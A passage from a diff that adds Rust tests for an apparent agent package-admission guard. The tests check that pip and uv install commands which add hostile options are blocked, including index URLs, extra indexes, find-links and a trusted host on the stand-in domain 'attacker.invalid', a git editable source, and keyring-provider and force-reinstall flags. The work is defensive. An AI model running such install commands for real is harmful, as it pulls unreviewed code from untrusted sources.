install-constraint authority: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()) + ); + } +} + +fn approved_pypi_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: ARTIFACT_DIGEST.to_string(), + artifact_argument: ARTIFACT_ARGUMENT.to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "pypi-reviewed-artifact-authority".to_string(), + policy_revision: "2026-09-11.1".to_string(), + allowed_executables: vec![executable.to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: MANIFEST_DIGEST.to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + + let mut argv = match executable { + "uv" => vec![ + "uv".to_string(), + "pip".to_string(), + "install".to_string(), + "--no-python-downloads".to_string(), + ARTIFACT_ARGUMENT.to_string(), + ], + _ => vec![ + executable.to_string(), + "install".to_string(), + ARTIFACT_ARGUMENT.to_string(), + ], + }; + argv.push("--require-hashes".to_string()); + argv.push("--no-deps".to_string()); + if matches!(executable, "pip" | "pip3") { + argv.push("--no-input".to_string()); + } + + let intent = InstallIntent { + request_id: format!("req-pypi-constraint-authority-{executable}"), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv, + manifest_sha256: MANIFEST_DIGEST.to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + + (policy, intent) +} diff --git a/crates/agent-artifact-admission/tests/pypi_dependency_cardinality_contract.rs b/crates/agent-artifact-admission/tests/pypi_dependency_cardinality_contract.rs new file mode 100644 index 00000000..89ed697a --- /dev/null +++ b/crates/agent-artifact-admission/tests/pypi_dependency_cardinality_contract.rs @@ -0,0 +1,114 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +const ARTIFACT_DIGEST: &str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; +const MANIFEST_DIGEST: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const ARTIFACT_ARGUMENT: &str = "cwl-example==1.2.3"; + +#[test] +fn pypi_install_without_no_deps_cannot_expand_beyond_the_reviewed_artifact_set() { + for executable in ["pip", "pip3", "uv"] { + let (policy, intent) = approved_pypi_install(executable, false); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} must not resolve undeclared transitive artifacts from an approval that binds only the declared artifact set" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "missing_safety_flag"), + "{executable} must report the missing dependency-cardinality safety flag" + ); + } +} + +#[test] +fn pypi_install_with_no_deps_preserves_the_reviewed_artifact_cardinality() { + for executable in ["pip", "pip3", "uv"] { + let (policy, intent) = approved_pypi_install(executable, true); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow, "{executable}"); + assert!(decision.reason_codes.is_empty(), "{executable}"); + } +} + +fn approved_pypi_install( + executable: &str, + include_no_deps: bool, +) -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: ARTIFACT_DIGEST.to_string(), + artifact_argument: ARTIFACT_ARGUMENT.to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "pypi-exact-artifact-set".to_string(), + policy_revision: "2026-09-04.1".to_string(), + allowed_executables: vec![executable.to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: MANIFEST_DIGEST.to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + + let mut argv = match executable { + "uv" => vec![ + "uv".to_string(), + "pip".to_string(), + "install".to_string(), + "--no-python-downloads".to_string(), + ARTIFACT_ARGUMENT.to_string(), + ], + _ => vec![ + executable.to_string(), + "install".to_string(), + ARTIFACT_ARGUMENT.to_string(), + ], + }; + argv.push("--require-hashes".to_string()); + if matches!(executable, "pip" | "pip3") { + argv.push("--no-input".to_string()); + } + if include_no_deps { + argv.push("--no-deps".to_string()); + } + + let intent = InstallIntent { + request_id: format!("req-pypi-cardinality-{executable}"), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv, + manifest_sha256: MANIFEST_DIGEST.to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + + (policy, intent) +} diff --git a/crates/agent-artifact-admission/tests/pypi_force_reinstall_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_force_reinstall_authority_contract.rs new file mode 100644 index 00000000..239878ff --- /dev/null +++ b/crates/agent-artifact-admission/tests/pypi_force_reinstall_authority_contract.rs @@ -0,0 +1,104 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +#[test] +fn approved_pip_install_cannot_inherit_unreviewed_force_reinstall_authority() { + for executable in ["pip", "pip3"] { + let (policy, control_intent) = approved_pip_install(executable); + let control = admission_decision(&policy, &control_intent); + assert_eq!( + control.decision, + DecisionKind::Allow, + "the exact approved {executable} install must remain admissible before adding force-reinstall authority" + ); + + for force_reinstall_option in [ + "--fo", + "--for", + "--forc", + "--force", + "--force-", + "--force-r", + "--force-re", + "--force-rei", + "--force-rein", + "--force-reins", + "--force-reinst", + "--force-reinsta", + "--force-reinstal", + "--force-reinstall", + ] { + let mut hostile = control_intent.clone(); + hostile.argv.push(force_reinstall_option.to_string()); + + let decision = admission_decision(&policy, &hostile); + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} {force_reinstall_option} requests fresh installation mutation outside the reviewed artifact authority and must fail closed" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved"), + "{executable} {force_reinstall_option} must include the stable artifact_not_approved reason" + ); + } + } +} + +fn approved_pip_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "cwl-example==1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "enterprise-default".to_string(), + policy_revision: "2026-09-11.6".to_string(), + allowed_executables: vec![executable.to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: format!("req-{executable}-force-reinstall-authority"), + actor_id: "agent:codex:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + executable.to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-input".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} diff --git a/crates/agent-artifact-admission/tests/pypi_global_registry_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_global_registry_authority_contract.rs new file mode 100644 index 00000000..07bfd7ca --- /dev/null +++ b/crates/agent-artifact-admission/tests/pypi_global_registry_authority_contract.rs @@ -0,0 +1,233 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, + sha256_hex, +}; + +const ARTIFACT_DIGEST: &str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; +const MANIFEST_DIGEST: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const ARTIFACT_ARGUMENT: &str = "cwl-example==1.2.3"; +const HOSTILE_INDEX: &str = "https://attacker.invalid/simple"; + +#[test] +fn reviewed_pip_baseline_remains_allowed() { + for executable in ["pip", "pip3"] { + let (policy, intent) = approved_pip_install(executable); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); + } +} + +#[test] +fn global_pip_registry_and_trust_selectors_are_causal_trust_evidence() { + for executable in ["pip", "pip3"] { + for option in [ + "--trusted-host=attacker.invalid".to_string(), + "--tr=attacker.invalid".to_string(), + format!("--index-url={HOSTILE_INDEX}"), + format!("--in={HOSTILE_INDEX}"), + format!("--extra-index-url={HOSTILE_INDEX}"), + format!("--ext={HOSTILE_INDEX}"), + format!("--find-links={HOSTILE_INDEX}"), + format!("--fi={HOSTILE_INDEX}"), + "--no-index".to_string(), + "--no-ind".to_string(), + ] { + let (policy, mut intent) = approved_pip_install(executable); + intent.argv = global_install_argv(executable, &[option.as_str()], &[]); + let submitted_argv = intent.argv.clone(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} global {option} must fail closed" + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "{executable} global {option} must be classified as registry/trust authority: {:?}", + decision.reason_codes + ); + assert!( + !decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved), + "{executable} global {option} must not manufacture undeclared-artifact evidence: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(submitted_argv.join("\u{1f}").as_bytes()), + "normalization must preserve exact submitted argv audit identity" + ); + } + } +} + +#[test] +fn global_separate_registry_and_trust_values_are_consumed_without_false_artifacts() { + for executable in ["pip", "pip3"] { + for (option, value) in [ + ("--trusted-host", "attacker.invalid"), + ("--tr", "attacker.invalid"), + ("--index-url", HOSTILE_INDEX), + ("--in", HOSTILE_INDEX), + ("--extra-index-url", HOSTILE_INDEX), + ("--ext", HOSTILE_INDEX), + ("--find-links", HOSTILE_INDEX), + ("--fi", HOSTILE_INDEX), + ] { + let (policy, mut intent) = approved_pip_install(executable); + intent.argv = global_install_argv(executable, &[option, value], &[]); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "{executable} global separate {option} value must be explicit registry/trust evidence: {:?}", + decision.reason_codes + ); + assert!( + !decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved), + "the value consumed by {option} must not masquerade as a package operand: {:?}", + decision.reason_codes + ); + } + } +} + +#[test] +fn real_extra_package_remains_visible_after_global_registry_normalization() { + for executable in ["pip", "pip3"] { + let (policy, mut intent) = approved_pip_install(executable); + intent.argv = global_install_argv( + executable, + &["--tr", "attacker.invalid"], + &["undeclared-package==9.9.9"], + ); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "global trusted-host authority must remain explicit" + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved), + "a genuine additional package must remain visible" + ); + } +} + +#[test] +fn ambiguous_global_long_prefix_is_not_promoted_to_trusted_host() { + for executable in ["pip", "pip3"] { + let (policy, mut intent) = approved_pip_install(executable); + intent.argv = global_install_argv(executable, &["--t=attacker.invalid"], &[]); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + !decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "Wardnet must not invent ambiguous --t as --trusted-host: {:?}", + decision.reason_codes + ); + } +} + +fn global_install_argv( + executable: &str, + global_arguments: &[&str], + extra_packages: &[&str], +) -> Vec { + let mut argv = Vec::with_capacity(6 + global_arguments.len() + extra_packages.len()); + argv.push(executable.to_string()); + argv.extend( + global_arguments + .iter() + .map(|argument| (*argument).to_string()), + ); + argv.push("install".to_string()); + argv.push(ARTIFACT_ARGUMENT.to_string()); + argv.extend( + extra_packages + .iter() + .map(|argument| (*argument).to_string()), + ); + argv.push("--require-hashes".to_string()); + argv.push("--no-deps".to_string()); + argv.push("--no-input".to_string()); + argv +} + +fn approved_pip_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: ARTIFACT_DIGEST.to_string(), + artifact_argument: ARTIFACT_ARGUMENT.to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "pypi-global-registry-authority".to_string(), + policy_revision: "2026-09-12.1".to_string(), + allowed_executables: vec![executable.to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: MANIFEST_DIGEST.to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: format!("req-pypi-global-registry-{executable}"), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + executable.to_string(), + "install".to_string(), + ARTIFACT_ARGUMENT.to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-input".to_string(), + ], + manifest_sha256: MANIFEST_DIGEST.to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + + (policy, intent) +} diff --git a/crates/agent-artifact-admission/tests/pypi_ignore_installed_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_ignore_installed_authority_contract.rs new file mode 100644 index 00000000..47dcf8f3 --- /dev/null +++ b/crates/agent-artifact-admission/tests/pypi_ignore_installed_authority_contract.rs @@ -0,0 +1,104 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +#[test] +fn approved_pip_install_cannot_inherit_unreviewed_overwrite_authority() { + for executable in ["pip", "pip3"] { + let (policy, control_intent) = approved_pip_install(executable); + let control = admission_decision(&policy, &control_intent); + assert_eq!( + control.decision, + DecisionKind::Allow, + "the exact approved {executable} install must remain admissible before adding overwrite authority" + ); + + for overwrite_option in [ + "-I", + "-Iv", + "-Ivv", + "-vI", + "-qI", + "--ignore-i", + "--ignore-in", + "--ignore-ins", + "--ignore-inst", + "--ignore-insta", + "--ignore-instal", + "--ignore-install", + "--ignore-installe", + "--ignore-installed", + ] { + let mut hostile = control_intent.clone(); + hostile.argv.push(overwrite_option.to_string()); + + let decision = admission_decision(&policy, &hostile); + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} {overwrite_option} overwrites an existing installation outside the reviewed artifact authority and must fail closed" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved"), + "{executable} {overwrite_option} must include the stable artifact_not_approved reason" + ); + } + } +} + +fn approved_pip_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "cwl-example==1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "enterprise-default".to_string(), + policy_revision: "2026-09-11.5".to_string(), + allowed_executables: vec![executable.to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: format!("req-{executable}-ignore-installed-authority"), + actor_id: "agent:codex:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + executable.to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-input".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} diff --git a/crates/agent-artifact-admission/tests/pypi_indirect_source_abbreviation_contract.rs b/crates/agent-artifact-admission/tests/pypi_indirect_source_abbreviation_contract.rs new file mode 100644 index 00000000..a561c386 --- /dev/null +++ b/crates/agent-artifact-admission/tests/pypi_indirect_source_abbreviation_contract.rs @@ -0,0 +1,89 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, +}; + +const ARTIFACT_DIGEST: &str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; +const MANIFEST_DIGEST: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const ARTIFACT_ARGUMENT: &str = "cwl-example==1.2.3"; + +#[test] +fn accepted_pip_indirect_source_abbreviations_cannot_inherit_artifact_approval() { + for executable in ["pip", "pip3"] { + for hostile_option in [ + "--requirem=attacker-requirements.txt", + "--ed=git+https://attacker.invalid/example.git", + ] { + let (policy, mut intent) = approved_pip_install(executable); + intent.argv.push(hostile_option.to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} must not let pip's accepted indirect-source abbreviation inherit approved artifact authority: {hostile_option}" + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved), + "indirect requirements/editable source must be classified as unapproved artifact authority: {hostile_option}: {:?}", + decision.reason_codes + ); + } + } +} + +fn approved_pip_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: ARTIFACT_DIGEST.to_string(), + artifact_argument: ARTIFACT_ARGUMENT.to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "pypi-indirect-source-abbreviation".to_string(), + policy_revision: "2026-09-12.1".to_string(), + allowed_executables: vec![executable.to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: MANIFEST_DIGEST.to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: format!("req-pypi-indirect-source-{executable}"), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + executable.to_string(), + "install".to_string(), + ARTIFACT_ARGUMENT.to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-input".to_string(), + ], + manifest_sha256: MANIFEST_DIGEST.to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + + (policy, intent) +} diff --git a/crates/agent-artifact-admission/tests/pypi_install_report_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_install_report_authority_contract.rs new file mode 100644 index 00000000..048cfd25 --- /dev/null +++ b/crates/agent-artifact-admission/tests/pypi_install_report_authority_contract.rs @@ -0,0 +1,100 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +#[test] +fn approved_pip_install_cannot_gain_caller_selected_report_write_authority() { + for executable in ["pip", "pip3"] { + let (policy, control_intent) = approved_pip_install(executable); + let control = admission_decision(&policy, &control_intent); + assert_eq!( + control.decision, + DecisionKind::Allow, + "the exact approved {executable} install must remain admissible before adding report output authority" + ); + + for report_arguments in [ + vec!["--report=/tmp/wardnet-install-report.json"], + vec!["--report", "/tmp/wardnet-install-report.json"], + vec!["--rep=/tmp/wardnet-install-report.json"], + vec!["--rep", "/tmp/wardnet-install-report.json"], + ] { + let mut intent = control_intent.clone(); + intent.argv.extend( + report_arguments + .iter() + .map(|argument| (*argument).to_string()), + ); + + let decision = admission_decision(&policy, &intent); + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} {} grants caller-selected report write authority and must fail closed", + report_arguments.join(" ") + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_install_root"), + "{executable} {} must include the stable alternate_install_root reason", + report_arguments.join(" ") + ); + } + } +} + +fn approved_pip_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "cwl-example==1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "enterprise-default".to_string(), + policy_revision: "2026-09-11.1".to_string(), + allowed_executables: vec![executable.to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: format!("req-{executable}-report-authority"), + actor_id: "agent:codex:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + executable.to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-input".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} diff --git a/crates/agent-artifact-admission/tests/pypi_keyring_provider_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_keyring_provider_authority_contract.rs new file mode 100644 index 00000000..cf9dfbcc --- /dev/null +++ b/crates/agent-artifact-admission/tests/pypi_keyring_provider_authority_contract.rs @@ -0,0 +1,116 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +#[test] +fn approved_pip_install_cannot_inherit_unreviewed_keyring_provider_authority() { + for executable in ["pip", "pip3"] { + let (policy, control_intent) = approved_pip_install(executable); + let control = admission_decision(&policy, &control_intent); + assert_eq!( + control.decision, + DecisionKind::Allow, + "the exact approved {executable} install must remain admissible before adding credential-provider authority" + ); + + let hostile_argv_suffixes = [ + vec!["--keyring-provider=subprocess".to_string()], + vec!["--keyring-provider=import".to_string()], + vec!["--keyring-provider".to_string(), "subprocess".to_string()], + vec!["--k=subprocess".to_string()], + vec!["--k".to_string(), "import".to_string()], + ]; + + for suffix in hostile_argv_suffixes { + let mut hostile = control_intent.clone(); + hostile.argv.extend(suffix.clone()); + + let decision = admission_decision(&policy, &hostile); + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} {suffix:?} delegates ambient credential-provider authority outside the reviewed artifact and must fail closed" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_trust_root"), + "{executable} {suffix:?} must include the stable alternate_trust_root reason" + ); + } + + for provider in ["auto", "disabled"] { + let mut narrowed = control_intent.clone(); + narrowed.argv.push(format!("--keyring-provider={provider}")); + + let decision = admission_decision(&policy, &narrowed); + assert_eq!( + decision.decision, + DecisionKind::Allow, + "{executable} --keyring-provider={provider} does not expand credential-provider authority beyond the reviewed no-input baseline" + ); + assert!( + !decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_trust_root"), + "non-expanding keyring mode must not be mislabeled as an alternate trust root" + ); + } + } +} + +fn approved_pip_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "cwl-example==1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "enterprise-default".to_string(), + policy_revision: "2026-09-11.7".to_string(), + allowed_executables: vec![executable.to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: format!("req-{executable}-keyring-provider-authority"), + actor_id: "agent:codex:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + executable.to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-input".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} diff --git a/crates/agent-artifact-admission/tests/pypi_log_output_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_log_output_authority_contract.rs new file mode 100644 index 00000000..c905e980 --- /dev/null +++ b/crates/agent-artifact-admission/tests/pypi_log_output_authority_contract.rs @@ -0,0 +1,164 @@ +use 